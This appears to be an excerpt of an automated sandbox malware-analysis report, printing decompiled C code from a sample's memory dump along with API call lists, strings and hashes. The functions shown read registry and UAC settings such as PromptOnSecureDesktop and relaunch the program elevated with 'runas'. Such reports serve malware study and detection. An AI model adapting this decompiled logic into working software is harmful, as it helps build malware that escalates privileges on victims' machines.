						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x5e5e5e5e;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,73B743E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,73B743E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,73B743E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B
", xrefs: 00407599

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 57a268d118452160af3c8106196d3dc3a54bbcbe57b6824890c14c9a6ab4d649
Instruction ID: 2be8177c38fcb0431c37abdcb30432b02610efeff0693f38a05b2573c300e2d4
Opcode Fuzzy Hash: 57a268d118452160af3c8106196d3dc3a54bbcbe57b6824890c14c9a6ab4d649
Instruction Fuzzy Hash: E8C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1004B7F504B72D1EA79AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040704C(intOrPtr _a4, signed int* _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				signed int _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				signed int* _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				signed int _t166;
				int _t196;
				signed int _t204;
				int _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				void* _t211;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t208 = _t207 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t210 = _t208 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t211 = _t210 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t211 = _t211 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											_pop(_t204);
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = _t204;
											_t166 = _t204 >> 0x00000008 & 0x000000ff;
											_t123 = E00406C96(_t204);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = _t166 - 0x40 - 0x3f;
											if(_t166 - 0x40 > 0x3f) {
												goto L57;
											}
											__eflags = (_t204 & 0x000000ff) - 0x10;
											if((_t204 & 0x000000ff) >= 0x10) {
												goto L57;
											}
											_t206 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t206;
											if(_t206 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t206 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t208 = _t210 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x5e5e5e5e;
						__eflags = _t158 - (_v32 ^ 0x5e5e5e5e);
						if(_t158 == (_v32 ^ 0x5e5e5e5e)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,73B743E0,?,73B743E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(73B743E0,00000000,?,00000020,00000000,00000000,00000000,0000012C), ref: 0040719E
RegCloseKey.KERNELBASE(73B743E0,?,73B743E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(73B743E0), ref: 00407208
RegCloseKey.ADVAPI32(73B743E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(73B743E0), ref: 004072D0
RegCloseKey.ADVAPI32(73B743E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(73B743E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

", xrefs: 00407227
, xrefs: 00407194
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: 9b70b0fc6e8b83b3e089cb14dfc08afba6f1de71b3f4849a306d9c902cd8f5ac
Instruction ID: bdd769efad709bd93da993ba4a974553bca105625a5613f565cdc8f40f8c6bf1
Opcode Fuzzy Hash: 9b70b0fc6e8b83b3e089cb14dfc08afba6f1de71b3f4849a306d9c902cd8f5ac
Instruction Fuzzy Hash: 8FB17F71D0820ABAEB159FA1DC45BEF77B8AB04304F10047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x5e060000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x5e060106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x5e060107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x5e060000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 1e1a94049bf505549656fa576477fa34b90c66ca3d66a0d7f991ca77636a94b3
Instruction ID: da9afcecd92b156e9615c74a35b5fd413d23f2be442cf1ef3c4bc4ea64e4b0a2
Opcode Fuzzy Hash: 1e1a94049bf505549656fa576477fa34b90c66ca3d66a0d7f991ca77636a94b3
Instruction Fuzzy Hash: 54A181B2540208BBEB21DFA1CC45FDF3BACEB44744F104437FA05A6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

